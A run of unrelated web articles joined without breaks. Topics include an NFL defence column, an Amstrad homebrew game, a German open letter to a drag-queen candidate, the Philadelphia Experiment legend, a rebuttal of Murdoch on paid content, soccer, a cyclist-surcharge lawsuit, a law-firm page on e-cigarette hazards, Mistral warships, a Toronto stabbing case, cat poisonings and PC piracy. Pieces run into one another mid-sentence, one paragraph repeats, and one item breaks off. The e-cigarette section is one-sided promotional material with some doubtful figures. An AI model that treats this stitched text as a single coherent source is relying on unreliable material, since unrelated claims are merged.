Finally, the onus is on Richard to make sure his defenders are communicating with each other throughout the game and are on the same page prior to every snap. Whether it is getting the call in earlier to provide his defenders with enough time to receive the signal or scaling back the checks or adjustments tagged with each call, Richard has to find a way to get his defense to play with the speed, tempo and physicality that made the unit the most feared in the NFL.
Follow Bucky Brooks on Twitter @BuckyBrooks.After 20 years since one of the best Bomberman style games appeared on the Amstrad in the form of Megablasters. It's time to present you a brand new homebrew release of Megablasters: Escape from Castle in the Clouds. A massive game for it's time spanning nearly 1MB in data has now been given the more up to date treatment by Project Argon. Just like the original, you must clear the way with bombs and by blowing up enemies, but watch out, if you get hit, your energy will decrease and you will at some point die.Not only is this a brilliant homebrew release with great presentation and fantastic McKlain tunes, but it's rated very highly and a fantastic start to 2015 for the Amstrad scene.Coding: AxelayGraphics: rexbengSound and music: McKlain and Tom&Jerry.Original game by Odiesoft.Available to download for free from HEREMicha Schulze, Jahrgang 1967, ist Geschäftsführer von queer.de und seit 25 Jahren in schwul-lesbischen Medien zu Hause. Normalerweise schreibt er vor allem Konzepte, Angebote, Rechnungen und Mahnungen, in dieser Kolumne aber immer wieder auch Emails an Leute und Organisationen, über die er einfach nur den Kopf schütteln kann.
, Jahrgang 1967, ist Geschäftsführer von queer.de und seit 25 Jahren in schwul-lesbischen Medien zu Hause. Normalerweise schreibt er vor allem Konzepte, Angebote, Rechnungen und Mahnungen, in dieser Kolumne aber immer wieder auch Emails an Leute und Organisationen, über die er einfach nur den Kopf schütteln kann.
Dresdens rechtsextreme OB-Kandidatin Tatjana Festerling traute sich in die "Boys"-Bar und wurde dort von Dragqueen-Mitbewerberin Lara Liqueur (Die Partei) mit Likörchen empfangen.
Liebe Lara Liqueur,
was wäre das für eine Chance gewesen, dieser Frau einmal zu zeigen, was wir von ihrer homophoben und rassistischen Hetze halten.
Da verirrt sich Dresdens Pegida-Oberbürgermeisterkandidatin Tatjana Festerling ausgerechnet in die Schwulenbar "Boys", in der du als DJ und Entertainerin arbeitest und dir fällt nichts anderes ein, als sie zum Likörchen einzuladen, mit ihr um die Wette Kondome aufzublasen und ein Selfie zu machen.
Und offensichtlich hatte auch kein anderer Gast den Mut, die rechtsextreme Politikerin vor die Tür zu setzen. "Die Jungs in der Bar rieben sich verwundert die Augen", schreibt die "Bild"-Zeitung.
Weicheier statt Terrortunten
Zwei unwählbare OB-Kandidatinnen für Dresden: Lara Liqueur (Die Partei) und Tatjana Festerling (Pegida)
Nur zu Erinnerung: Festerling, das ist jene Frau, die selbst ihren ehemaligen AfD-Parteifreunden zu rechts war und die bei der Pegida-Demo am 30. März ordentlich gegen Lesben und Schwule vom Leder zog: "Wir wollen übrigens auch nicht den Terror der schwul-lesbisch-queren-intersexuellen Minderheit, die unsere Kinder mit ihrem überzogenen Sexualscheiß schon in der Grundschule traumatisieren." Das war, im Vergleich zu ihren Äußerungen gegenüber Ausländern und Muslimen, sogar noch freundlich.
Immerhin, könnte man sagen, hat sich Festerling nun selbst widerlegt, traf sie doch 46 Jahre nach dem "Stonewall"-Aufstand statt auf tapfere Terrortunten leider nur auf winselnde Weicheier. Man hätte ja nicht gleich handgreiflich werden müssen aber gerade von dir als Kandidatin der Satiretruppe "Die Partei" hätte ich einen etwas kreativeren "Empfang" erwartet.
Und ich weiß nicht, was peinlicher ist: Das Selfie, der Likör und der Kondomaufblas-Wettbewerb oder das Rechtfertigungs-Video, das du am nächsten Morgen ungeschminkt und mit freiem Oberkörper aufgenommen hast. "Sie ist auch nur ein Mensch", sagst du darin, "es war einfach nur ein Gespräch", ein "blöder Zufall" und du und "die Tatjana" werden nicht beste Freundinnen werden. Die deutlichste Selbstkritik: "Das Selfie war wahrscheinlich ein bisschen falsch zu verstehen."
Am selben Tag, als die dreiste Festerling in die "Boys"-Bar marschierte, wurde in Düsseldorf unter dem Motto "Bunt statt braun" eine Kampagne gegen Rechtsradikale und Neonazis in der Szene gestartet. Ich habe heute für dich online die beiden Aufkleber "In-Out" und "No Drinks for Nazis" bestellt, sie sollten in den nächsten Tagen im Lokal eintreffen.
Herzlichst,
Micha SchulzeThe Philadelphia Experiment
Did the USS Eldridge really disappear? (Copyright Lee Krystek, 1999)
In October 1955 "Dr." Morris Jessup received a series of strange letters. Jessup was a 55 year-old astronomer and adventurer. Though he'd never officially received a Phd he'd written a dissertation in the field of astrophysics. Later he developed interests in jungle exploration, archaeology and "fringe" science. In that same year his book The Case for the UFO was published in hardcover and paperback.
It was shortly after the paperback version of his work came out that the letters arrived. They were rambling, strangely worded and written with several different colors of pencil and pen. The second of these letters told Jessup about an experiment the U.S. Navy had tried in 1943. According to the writer, the Navy was trying to render a destroyer invisible by applying Einstein's Unified Field Theory. The ship, the U.S.S. Eldridge, had indeed disappeared, the letter said, but at a terrible price to the crew:...
The "result" was complete invisibility of a ship. Destroyer type, and all of its crew, While at Sea (October. 1943) The Field Was effective in an oblate spheroidal shape, extending one hundred yards (More or Less, due to the Lunar position & Latitude) out from each beam of the ship. Any Person Within that sphere became vague in form BUT He too observed those Persons aboard that ship as though they too were of the same state, yet were walking upon nothing. Any person without that sphere could see Nothing save the clearly Defined shape of the Ships Hull in the Water, PROVIDING of course, that the person was just close enough to see yet, barely outside the field. Why tell you Now? Very Simple; If You choose to go Mad then you would reveal this information. Half of the officers & crew of that Ship are at Present, Mad as Hatters. A few, are even Yet confined to certain areas where they May receive trained Scientific aid when they either, "Go Blank" or "Go Blank" & Get Stuck."... The Man thusly stricken can Not Move of his own volition unless two or More of those who are within the field go & touch him, quickly, else he "Freezes".
The writer also claimed that some of the crew could walk through walls and that during the experiment the whole ship had disappeared, reappeared in Norfolk, Virginia, then returned to Philadelphia. The man claimed he had observed the experiment from a merchant ship nearby and had later read about some more of the incident in a Philadelphia newspaper. The writer had signed himself "Carl M. Allen."
Jessup thought the letters were from a crackpot until he was visited by two men from the Office of Naval Research (ONR). The ONR had anonymously been sent a paperback copy of Jessup's UFO book. The inside of the book had been heavily marked up with incoherent handwritten notes in various colors that made it appear that at least three different writers had been involved. Although Admiral Furth, to whom the package had been addressed, took little notice of the strange volume, Commander George Hoover, Major Darrell Ritter and Captain Sidney Sherby, all of the ONR, took a personal interest in it. They also decided to talk to Jessup to see if he could shed some light on the author of the notes.
Jessup immediately recognized the script to be in the same style as the letters. He showed the letters to the officers. The Navy men were interested in them. They took the letters and the book, and at their own expense, had a few number of copies made that were distributed to a small group of people.
The officers attempted to find this "Carl M. Allen" (who would later be identified as "Carols Miguel Allende") but none of the return addresses on the letters or the package seemed to lead to him. Jessup, who was busy on other projects, at first lost interest in the strange correspondence, but later started investigating their unusual claims. He found out little.
In 1969, after Jessup's death, Allende showed up at the office of the Aerial Phenomena Research Organization (APRO) in Tucson, Arizona, The APRO group is dedicated to examining UFO reports. There Allende confessed to writing the letters and the notes in the book sent to the ONR. He stated that Jessup's book, particularly a part about invisability and force fields, had frightened him prompting him to make up the story of the ship disappearing to scare Jessup away from writing about UFOs.
So ifsAllende confession the end of the tale? Not quite. In 1979 William Moore and Charles Berlitz wrote a book called "The Philadelphia Experiment." In the book they suggested that Allende's confession may have been false. They also included a copy of what appeared to be a newspaper article from 1943. The book infers that the sailors mentioned in the article were suffering after effects of "The Philadelphia Experiment." The headline read:
Strange Circumstances Surround Tavern Brawl
The article stated that during an altercation at a Philadelphia bar, two sailors disappeared into thin air. There is no date or newspaper name on the article and it does not seem to match the column size of any Philadelphia paper of that day. It was obtained when a photocopy was sent to Moore and Berlitz anonymously. Unfortunately this combination of circumstances makes it impossible to show that the article is not a hoax.
The USS Eldridge in port some years later under a different name and flag.
The Moore/Berlitz book also focused on Jessup's death (which was a suicide) and the uncharacteristic interest of ONR in Allende's notes. The authors suggest that this is evidence that there is some truth behind the story.
Two films were made about the alleged incident which helped to keep public interest in the story going. In 1984 the "The Philadelphia Experiment" staring Michael Pare and Nancy Allen told a much altered version of the the Moore/Berlitz book's tale. A sequel,"Philadelphia Experiment II," was released in 1993.
It may not only be Allende's letters that inspired the rumors about "The Philadelphia Experiment" (which has also been referred to as the "Rainbow Project"). During WWII the United States Navy had a program to deguass ships. This process, which entailed running cables around the circumference of the ship's hull (bow to stern), canceled out the ship's magnetic field. This made it undetectable (or one might say magnetically invisible) to some types of mines and torpedoes. The process had no affect on the visual appearance of the ship. The US Navy suggests that a misunderstanding of this process may have somehow been the genesis for "The Philadelphia Experiment" story.
Another possibility might be experiments the Navy carried out on the USS Timmerman during the 1950's. A new high-frequency generator was installed. The generator produced corona discharges that seemed similar to what was described in the story when the ship supposedly disappeared.
Whatever the roots of the story might have been (Allende, deguassing or corona discharges) one thing is certain: No experiment was done in 1943 at the Philadelphia Navy Yard involving the USS Eldridge.
During that period she never stopped in Philadelphia. A fact attested to by the ship's crew. In March of 1999 fifteen members of the crew of the USS Eldridge held a reunion in Atlantic City. They were a bit bewildered about why of all the ships in the U.S. Navy the Eldridge was chosen for this rumor. Some were getting tired of being asked about it. All denied anything like what was in the Allende story or the Moore/Berlitz book ever actually happened. Quipped former crew member Ed Tempary as he gave his comrades a smile, "The only part of the book I think is true is the part about the crew being a little crazy."Sorry, Rupert Murdoch…Content Will Remain Free. Here Are the Facts:
Rupert Murdoch, in a Wall Street Journal Op-Ed, once again proclaimed the advertising business model dead and the era of free content over.
There is no doubt that Murdoch is an astute business man. He has made a fortune in media, much of it in tabloids and by cozying up to dictatorships in countries such as China and Russia. He cynically titled the piece that he published in his own newspaper to further his business interests, “Journalism and Freedom.”
Generally speaking, I’m a fan of Murdoch. They say, “you can’t argue with success” and I usually don’t, nor do I want to. However, in this latest episode his reasoning is so divorced from the facts that I have doubts as to whether he’s really serious.
I think his contention can be boiled down to this passage in the Op-Ed:
A business model that relies primarily on online advertising cannot sustain newspapers over the long term. The reason is simple arithmetic. Though online advertising is increasing, that increase is only a fraction of what is being lost with print advertising.
Well, not exactly…
Here are the facts:
Fact: Print revenues have increased since the dawn of the internet. According to ZenithOptimedia, US Print ad revenues from 1996 to 2008 have increased by $18 billion (from $50 Billion to $68 Billion) and globally they have increased by $50 Billion. (from $131 Billion to $181 Billion)
Some markets, such as the UK, have fared worse but when corrected for differences in market composition the story holds (more on that later)
Fact: Print’s loss in market share has been less than Digital’s gain. During the same 1996-2008 period, US Internet ad share has gone from 0% to 10% while Print ad share has dropped from 44% to 32%. By “simple arithmetic,” that’s a gain of 10% for Internet and a loss of 8% for Print which means the decline in print share has been less, not more, than the gain for Internet.
To be fair, globally Print shares have decreased slightly more than Internet has increased (12% vs 10%). Still, to say that the the increase has only been a “fraction” of the Print loss is way off base.
Moreover, it’s important where the losses have come from. Magazines have actually increased their shares, the loss has been completely restricted to newspapers. This shouldn’t be surprising as the Internet has been very successful with classified advertising and not done so well with display advertising.
While it’s true that newspapers are in serious trouble, the problem for the industry has more to do with their historical reliance on classified advertising. There are some fairly common sense ways to correct this and move toward display advertising, but newspapers have been slow to adopt them.
Fact: Much of the recent losses have been cyclical. The trends mentioned above are long term trends. The short term trends since 2007 look much worse for Print.
This shouldn’t be surprising as magazine display advertising is highly dependent on durable goods, which drive the business cycle. In a downturn, people put off long term purchases and so it’s inevitable that advertising expenditure in those categories falls off in a recession more than in the general market.
Furthermore, recessions create bloated inventories. Companies that need to empty their warehouses will focus more on direct response sales promotions and less on the display advertising that is Print’s forte. In a recovery, this trend is reversed. (and Magazines did gain share during the last recovery).
Fact: People don’t actually pay for print content. While there are exceptions, for the most part publishers don’t make money on distribution and in many cases actually lose money. This is especially true with US magazines, in which roughly 85% of circulation is sold through highly subsidized subscriptions.
In effect, we’re usually paid (albeit in paper, ink, gas, etc.) to read print content.
Fact: The Internet Makes things cheaper. On the web, anybody can publish (even me!). The notion that an increase in competition will not decrease prices fails to recognize a simple rule of economics. To believe that consumers will start paying for content assumes that the increase in demand will exceed the avalanche of supply.
Fact: Consumers show no aversion to ads. My wife complains about me all the time (with good reason), but I know she really loves me (at least she hasn’t divorced me yet). Consumers have a similar relationship with ads. They complain and watch, complain and watch.
Although counter-intuitive, the evidence with DVR’s shows that even when people have the capability to skip ads, they watch them to a much greater extent than anybody expected.
While this seems incredible, it starts to make sense when you imagine a world without ads. Actually, in some places in the world, they don’t have to imagine it. They actually experienced it and, as this Polish ad shows, the picture wasn’t pretty.
If consumers show no inclination to avoid ads, why would they agree to pay for content? Unless the content is highly specialized, experience shows that they won’t. Moreover, to attract ad money, most content creators are zealous in their pursuit of traffic from content aggregators.
Fact: He’s Hedging. If anybody wants to read Murdoch’s piece for themselves but don’t want to pay for it, no problem! Just go to this page on the site “All Things Digital” and you’ll find a preview and a link to the Op-Ed on the Wall Street Journal. Don’t worry, Rupert won’t mind. He owns “All Things Digital” and the site is completely free!
The Way Forward
The truth is that there is nothing wrong with the advertising model. Yahoo!, which is largely free content ad model as you can get, generated nearly $2 billion in free cash flow even during the crisis year of 2008. Facebook also looks poised to become profitable (although Murdoch owned MySpace does not).
The problem isn’t with the model, but the way in which many media moguls of the past run it. As I wrote previously in How Great Media Companies Fail on the Internet, traditional media companies will need to change the way they operate their companies if they are to be successful in the new, digital world. (Hint: overpaying for digital properties and running them into the ground is not a recipe for success).
There is no doubt that Digital Media poses a great challenge to incumbent media companies. As Murdoch himself said in the same piece, “Some newspapers and news organizations will not adapt to the digital realities of our day—and they will fail.”
So, Rupert, take your own advice: Stop whining and start adapting.
(btw. Thanks for The Simpsons.)
– GregYAKIMA, WA — Only a few days removed from their official inclusion into the Evergreen Premier League, Yakima United FC have revealed their club colors and official crest. Designed by Joshua Vega, who will be the club’s General Manager in 2014, the crest’s focal point is a cluster of hops flowers. As the graphic below details, hops are a crucial crop in the Yakima Valley. (click graphic to enlarge)
“I’m really proud of the crest,” Vega says. “I think It’s a great symbol of the culture, and tradition of the Yakima area, both sporting and non-sporting.”
YUFC will wear the same red and black that the Yakima Reds wore in the PDL for sixteen seasons. The crest is topped by a star meant to inspire local Yakima Valley players to work towards their dreams.
Yakima United FC was founded in 2010 and has played in local and regional leagues previously. YUFC was once a member of the American National Soccer League (ANSL) Washington Conference. During that time they formed a rivalry with Seattle Stars FC, a club they will face once again this spring and summer in the EPLWA.
Yakima is currently working on an official website. Their Facebook page is at: https://www.facebook.com/YUFCYakima. Stay tuned to www.Facebook.com/EvergreenPremierLeague for breaking YUFC updates.
Below is a black and white version of the crest which will be used on home / visiting rosters, etc.
About the EPLWA
The Evergreen Premier League is an elite adult men’s soccer league for college and post-college age players to feature their skills on hometown clubs throughout the state of Washington. The league’s mission is to cultivate “football club” culture while providing opportunities for coaches, owners, supporters, players and towns to enjoy the sport and all of the community-building it can bring. The EPLWA is affiliated with the Washington State Adult Soccer Association, the United States Adult Soccer Association, US Soccer and FIFA.
The EPLWA (pronounced E-P-L ‘wah’) will kick off in May 2014 with its debut season: Bellingham United FC (Bellingham), South Sound FC (Tacoma), Wenatchee United FC (Wenatchee), Seattle Stars FC (Tukwila), WestSound FC (Silverdale), Spokane Shadow (Spokane), Vancouver Victory FC (Vancouver, WA) and Yakima United FC (Yakima).
Visit the Evergreen Premier League online at: www.EPLWA.com
goalWA.net Local Soccer News is sponsored by Pro Roofing Northwest, Kirkland, Bellevue, Seattle, Redmond, Woodinville, Federal Way, Everett, Snohomish, Issaquah, Renton, Kent, Bothell, Edmonds Washington roofing company.
Advertisements(Eric Harvey Brown)
In addition to paying the same hefty fines for traffic violations as motorists, cyclists caught in the NYPD's "Safe Cycle" crackdown have also been forced to pay a bogus $88 surcharge, plus accept additional points on their license. New York Vehicle and Traffic law explicitly exempts cyclists from this surcharge, but summonses issued to cyclists nevertheless inform them that “included in the total amount for each violation (except equipment) are mandatory surcharges in the amount of $88." Most cyclists just pay it, but a new lawsuit could result in refunds for those who thought the "mandatory" surcharges were in fact mandatory.
After attorney Steve Vaccaro raised the issue with the DMV, he was told by a DMV lawyer that he was correct—"there are no points assigned for violations committed by bicyclists,” and that the law “exempts bicycle violations from the mandatory surcharge." The DMV agreed to refund the handful of clients Vaccaro was then representing, and remove the points from their licenses. And yet... the surcharge language remains, and most people who pay their fine online remain oblivious to the DMV's unorthodox definition of "mandatory."
Vaccaro has filed a growing class action lawsuit on behalf of cyclists who may have been unfairly overcharged while paying a ticket. "I'm encouraged to see the DMV acknowledge its error in treating so many cycling tickets as if they were motor vehicle violations," Vaccaro says. "Alongside the class action, we have made a Freedom of Information Law request to the DMV that should help us get a better handle on exactly how many thousands of cyclists have been affected. In the end, we hope to get a refund to every cyclist who's been overcharged going back at least three years, possibly longer."
If you believe you may have paid the unlawful DMV surcharge for a bicycling ticket, or gotten points on your license for a violation while bicycling, you could be in for a CASH PAYOUT (SOMEDAY). Vaccaro encourages you to contact his office with a short description of your circumstances as soon as possible.Electronic cigarettes (aka “e-cigarettes” or “e-cigs”) are battery-powered devices made to mimic traditional cigarettes.
Many e-cigs contain volatile batteries that have been known to explode, leading to lawsuits filed against manufacturers and retailers.
They are often shaped like cigarettes or pipes, and work by heating a nicotine mixture called “e-liquid,” “e-juice,” or “vape juice.” The e-liquid vaporizes, and the user inhales, getting a buzz from the nicotine in the e-liquid. Smoking an e-cigarette is called “vaping.”
Most e-liquids contain some combination of nicotine, glycerin, propylene glycol, and flavorings—which vary wildly. Many have been shown to contain formaldehyde, which is more commonly used in industrial-strength resins and embalming fluids. Some flavorings include diacetyl, which infamously causes “Popcorn Lung,” a chronic, irreversible lung disease.
Many e-cigs contain volatile batteries that have been known to explode, leading to lawsuits filed against manufacturers and retailers. Our team has already filed several lawsuits against e-cig companies, and we will file many more in the days to come.
Are They Safer?
Though some studies suggest that e-cigarettes are a healthier alternative to regular cigarettes, they are such an unknown commodity that the jury is very much still out, data-wise. In fact, some research indicates that e-cigarettes could be more dangerous than traditional ones. Because they have only been on the market for about a decade, there is no research on their long-term effects.
Three out of four vapers also smoke, which debunks the myth that segueing to vaping allows people to quit. Moreover, there have been dozens of e-cigarette explosions in recent years due to the volatility of the lithium-ion battery—the same kind of battery found in exploding hoverboards and Samsung Galaxy phones.
The FDA started regulating the vape industry in August 2016, but prior to that there had been no federal oversight. Given that lack of regulation, the lack of research, the questionable ingredients, and the volatile batteries, it’s hard to imagine that vaping is a “safer” form of anything.
A Brief History of E-Cigarettes
A Chinese pharmacist named Hon Lik invented the e-cigarette in 2003, after the idea came to him in a dream. It hit the market in China the next year and quickly amassed a small but loyal following. (Today, most e-cigarettes are still made in China.)
E-cigarettes reached the U.S. five years later, in 2009. While sales of conventional cigarettes declined every year between 2011 and 2014, e-cigarettes (not coincidentally) followed the opposite trajectory. In 2014 particularly sales soared, hitting the $3 million mark domestically and the $7 billion mark worldwide. E-cigs have proved especially trendy among young people: from 2013 to 2014, the number of middle and high schoolers who vape tripled.
Today, one in ten Americans vapes. But with this widespread use has come increased scrutiny and serious questions about the health and safety of e-cigarettes (see next two sections). As a result, the FDA has vowed to begin regulating the industry in the near future. But some government bodies don’t want to wait that long.
In March 2015, the state of Indiana voted to regulate the e-cig industry, banning sales to minors, requiring childproof caps, and enacting strict manufacturing safety standards. (Nine months later, a vaping advocacy group, along with several retailers and manufacturers, sued the state over the new regulations, which they deemed “unconstitutional.”)
In September 2015, the District of Columbia voted to enact a 65% excise tax on all e-cigarette products, which some expected would tax vape shops out of existence.
In March 2016, a Vermont bill that would tax e-cigarettes like regular tobacco (at 92%) won preliminary approval from the House. (The bill’s sponsor, Rep. George Till, says the bill would deter minors from buying e-cigarettes.) That same month, the Transportation Department banned e-cigarettes on all domestic and international flights that fly into or out of the United States.
Some experts have linked these new regulations and safety concerns with slowed growth in the industry, but sales are still expected to increase by 57% in 2016. This is “only” half of the e-cig industry’s compound annual growth rate of 115% from 2010-2014.
On May 5, 2016, the FDA announced that it would begin regulating the e-cigarette industry in early August (giving companies 90 days to comply with new rules). The FDA also banned the sale of e-cigarettes to minors.
Popularity Soars, Especially Among Young People
With fun, colorful flavors like Bubble Gum, Cotton Candy, Cupcake, Graham Cracker, Marshmallow, Sour Apple, and Goblin Goo (among countless others), e-cig companies target children and adolescents in their marketing with devastating efficiency. From 2013 to 2014, the number of middle and high schoolers who vape tripled.
Across the board, e-cigarettes are exponentially more popular than they were ten years ago. It is now a $7 billion global industry made up of roughly 500 brands. (Some of the most popular brands include V2, Halo, VaporFi, and blu.) By some projections, e-cig sales could surpass conventional cigarettes’ by 2022.
Health Concerns Over Ingredients
From September 2010 to February 2014, the number of e-cigarette-related calls to poison control centers skyrocketed, from just one call per month to 215. Over half the calls involved children under the age of five, many of whom had ingested the liquid nicotine found in the devices.
A January 2015 study in The New England Journal of Medicine determined that hidden formaldehyde in e-cigarettes makes the risk of developing cancer 5 to 15 times higher that of traditional cigarettes. Formaldehyde is most commonly used in industrial resins and as an embalming agent.
In December of last year, an Environmental Health Perspectives study found that many e-cigarettes do not disclose the presence of the flavoring chemical diacetyl, which has long been known as a respiratory hazard. Most infamously, diacetyl caused “Popcorn Lung” in microwave popcorn factory workers. (The name “Popcorn Lung” belies the fact that it is a serious, permanent affliction which sometimes requires lung transplants.) The study discovered diacetyl in 39 of the 51 flavors analyzed: nearly 80%.
The damning data grew this past February, when researchers found that e-cigarettes suppressed a whopping 358 immune genes—305 more than traditional cigarettes. These results suggest that e-cigs may render vapers more susceptible to disease, which is doubly troublesome given that they may also cause disease.
Violent Vape Explosions On the Rise
A rash of violent explosions and grisly injuries have also cast sizable doubt on the safety of e-cigarettes. One high-profile victim is soccer star Danny Califf, who played for ten years as a defender for the L.A. Galaxy, San Jose Earthquakes, Philadelphia Union, Toronto FC, and various European teams.
Mr. Califf’s attorney, Greg Bentley, says his client has been horribly disfigured by an e-cigarette that blew up in his face in early 2016. Mr. Califf allegedly suffered a broken cheekbone and was concussed after the cigarette’s lithium-ion battery shot through his cheek.
These types of explosions, and the gruesome injuries that result, are becoming a regular occurrence.
In February, an e-cigarette exploded in a Kentucky man’s pocket while he waited in line at a Shell gas station. The man was rushed to the hospital with second-degree burns. Around the same time, a Naples (Florida) woman’s car burst into flames after her e-cigarette exploded. That same month, Rachel Berven’s e-cigarette exploded near her mouth, “ripping a hole in her mouth and spewing battery acid across her body.”
In April, a 14-year-old Brooklyn boy named Leor Domatov was blinded in his left eye by an e-cigarette that exploded in his face. On Easter Sunday, an e-cig exploded in a New Hampshire restaurant, burning the hands and face of its owner and hitting “another customer in a nearby booth in the chest, burning part of his shirt and pants,” according to the Sentinel Source. Shell-shocked witnesses described the explosion as a “fireball,” or akin to a fireworks display.
In May, an Albany man’s e-cigarette exploded in his face. In July, an Alabama teenager’s e-cig exploded, firing a battery into a classmate’s face. Later that month, a Michigan man’s vape device exploded in his pocket, burning his legs.
The eruptions above—which involve the same kind of battery found in exploding hoverboards—are just the tip of the iceberg. There were at least 25 e-cig explosions between 2009 and 2014, at least a dozen more in 2015, and there have already been several in 2016. According to The Wall Street Journal, the FDA received 134 reports of vape-related fires and explosions from 2009 to January 2016.
As e-cigarettes’ popularity grows, and as more people come forward, these numbers will only rise.
E-Cigarette Lawsuits
The myriad explosions and other health hazards associated with e-cigarettes have generated a flood of lawsuits against e-cig manufacturers. Our team has already filed several lawsuits against e-cig companies, and we will file many more in the days to come.
Side effects for eligible parties may include the following:
Burns, scarring, or other injuries from e-cig explosion
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Topple Productions and Boxspring Entertainment are the production companies and Angela Robinson is directing from her own script. Sony Pictures Worldwide Acquisitions has acquired worldwide rights on the project.
The story focuses on Harvard psychologist Dr. William Moulton Marston, the inventor of the lie detector and creator of Wonder Woman, who defends his feminist superhero against charges of “sexual perversity.” Marston’s inspiration for Wonder Woman was his wife Elizabeth Marston and their lover Olive Byrne, two empowered women in the field of psychology.
Robinson has acted as consulting producer on “How To Get Away With Murder” as well as executive producing the final season of “True Blood.”
Amy Redford, Andrea Sperling and Terry Leonard are producing. “Transparent” creator Jill Soloway is executive producing as well as Boxspring Entertainment co-founder Clare Munn.
Sperling and Soloway recently formed Topple Productions. Their latest series is “I Love Dick,” starring Kevin Bacon and Kathryn Hahn.
Luke Evans will be next seen in “Girl On The Train” and recently wrapped production on Disney’s “Beauty and the Beast.” Hall was most recently seen in “The BFG” and will next be seen in “Christine.” Heathcote will be seen in “Fifty Shades Darker.”
WME Global packaged and represented the project.
Robinson is represented by WME. Evans is represented by WME and United Agents. Hall is represented at WME and Julian Belfrage & Associates. Heathcote is represented by WME and in Australia by Joanna Milosz and managed by Brian Medavoy. The news was first reported by Deadline Hollywood.Seeds of hope are finally growing in the town of Smiths Falls.
After more than six years, there is life in the old Hershey chocolate plant thanks to Tweed Inc., a fully-licensed medical marijuana production facility.
“A lot of people have visions of Grateful Dead fans growing marijuana,” says Chuck Rifici, Tweed Inc. CEO.
“What we tried to do is be open and transparent, so people can see what this really is,” he adds.
What they are is a facility that currently grows 8500 marijuana plants and employs about 40 people. Tweed Inc. hopes to one day expand its operation to 50,000 plants.
“We thought this was a good opportunity |
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The brief statement said French president François Hollande and Eypgtian president Abdel Fattah Sisi had reached an accord on the sale of the two 21,000-ton amphibs to Egypt.
“President of the Republic spoke with President Sisi. They agreed on the principle and terms of the purchase of two Mistral-class projection and command ships by Egypt,” read a translation of the statement.
.@fhollande et le président Sissi se sont accordés sur les modalités de l’acquisition par l’#Egypte des deux Mistral pic.twitter.com/8Mhb4unt4r — Élysée (@Elysee) September 23, 2015
French officials did neither disclose the sales price of the ships to Egypt nor reveal timelines.
The potential sale to Egypt ends more than a year of angst over the disposition of the two Mistrals after Hollande elected not to deliver to Russia over Kremlin support for separatists in the ongoing civil war in Ukraine in September of 2014.
Russia agreed to the terms of the cancelation in August with France paying Russia $1.3 billion in refunds and cancelation fees for the ships Vladivostok and Sevastopol.
One source told the Russian state-controlled wire RIA Novosti, that a Moscow would likely not object to a sale of the Mistrals to Egypt.
“Egypt is a friendly state for Russia, so if Paris and Cairo did reach an agreement on the acquisition of these ships, Moscow is unlikely to voice any opposition to this agreement,” the source told RIA Novosti.
The 21,000-ton ships can field 20 helicopters and has a well deck to deploy landing craft. The ship can carry up to 450 troops for extended journeys and 900 for short trips and were built for Arctic operations.After being released on bail with the consent of the Crown, a highly educated architect accused of trying to kill the 67-year-old concierge of her Rosedale condo by stabbing him multiple times with a kitchen knife was ordered to immediately go to a hospital for psychological and medical treatment. Ellis Galea Kirkland, 60, has been in custody since her arrest on March 10, after a citywide manhunt that ended with police officers rappelling onto the 27th floor balcony of the hotel room where she sat, dangling her legs over the edge.
Ellis Galea Kirkland, 60, has been in custody since her arrest on March 10, after a citywide manhunt that ended with police officers rappelling onto the 27th floor balcony of the hotel room where she sat, dangling her legs over the edge. ( RENE JOHNSTON / TORONTO STAR )
A fitness assessment was conducted by a psychiatrist and Kirkland was found fit to stand trial by a judge on Thursday morning. The petite woman has appeared increasingly gaunt over several appearances in the specialized mental health court. After signing her bail conditions, Kirkland was uncuffed and released from the College Park courtroom where she was warmly greeted by a small group of friends and family.
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The conditions of her $120,000 bail require Kirkland to immediately go to Mt. Sinai Hospital and comply with the medical and psychological treatment ordered by her doctor. She will reside with a friend and will only be permitted to leave the home in the company of five listed people including her brothers. She is not allowed to return to her Rosedale condo, the workplace of concierge Markandu Kulasingam, except once with a police officer to retrieve her belongings. Kulasingam, 67, has told the Star Kirkland called to ask for assistance from another doorman, but he was the one still on duty. He alleges Kirkland ushered him into her apartment and suddenly began attacking him with a knife. Kirkland's next court appearance is May 31.PET owners who have been victims of cat poisoning have set up an online support group.
Glen Brunsden, of Empire Road, Dovercourt, set up the Facebook group after three of his cats were put to sleep within two weeks of each other.
His pets were three of five cats on the street to suffer suspected anti-freeze poisoning which is still taking the lives of animals in Dovercourt.
The group, Victims and Friends of Cat Poisoning, Dovercourt, comes as other pet owners have reportedly lost their cats to poisoning in Bay Road, Dockfield Aveue, Pound Farm Drive and Hordle Street.
Police and the RSPCA are still unsure if the poisonings are deliberate or if there is a faulty car leaking anti-freeze.
Anyone with information should call Harwich Police on 101. The Facebook group can be found at facebook.com/VFCPDovercourt.Whether PC gaming is dying or not, one thing is certain: piracy of PC games is a serious talking-point for developers on either side of the debate. A growing number of developers big and small have become increasingly vocal about piracy rates for PC games. One developer, though, has finally put aside the complaints, the indignant state of mind, and is asking the pirates directly a simple question: why?
Cliff Harris, an independent game developer with Positech Games, has put out a call to pirates asking for an explanation. Not seeking to turn around and refute the pirates' reasons or to simply oust the pirates and turn them over to the authorities, Harris is earnestly sincere about learning what drives pirates to steal his games. Harris is asking for pirates to send him e-mails detailing the reasons why they are pirating games.
Why?
"What I don't know is why people pirate my games," Harris wrote on his website, where he made the open call for e-mails. "I might be able to get a general idea as to why people pirate stuff *in general* from reading warez forums, and every other story on digg, but I'm not interested in the general case. I want to improve my business, and ensure I stay afloat, and to do that, it would be mad to sit in the corner and ignore the opinions of that section of the public who pirate my games."
Harris promises not to publicly out any pirates for the sake of trying to get to the bottom of the issue. "I won't publicise who e-mailed me, or even store the addresses, share them, tell anyone them, or make any use of them whatsoever. I'll just read them, nothing else. It will be entirely off-the-record and effectively anonymous. I won't hand any email addresses to the RIAA, MPAA, BSA or anyone at all under any circumstances ever." What he will do, however, is read every e-mail in an attempt to understand why pirates pirate and what developers can do to change the way that PC gaming is going.
Cliff Harris
Harris, who has worked on many PC-specific titles including Democracy and Kudos, was driven to act not only as a result of the increased publicity surrounding PC game piracy but more so from comments made on his blog. "I occasionally post about piracy on my blog, and I get a lot of comments from people who defend piracy, or think I am too strongly against it, or that I blow it out of proportion," Harris told Ars today. "The last few times I read these comments, I got to thinking about the other side of the fence, and wondering if there was something I just didn't get. Pirates never talk to the developers, so I thought I'd see if there was something I could learn from it if I asked them for their honest views."
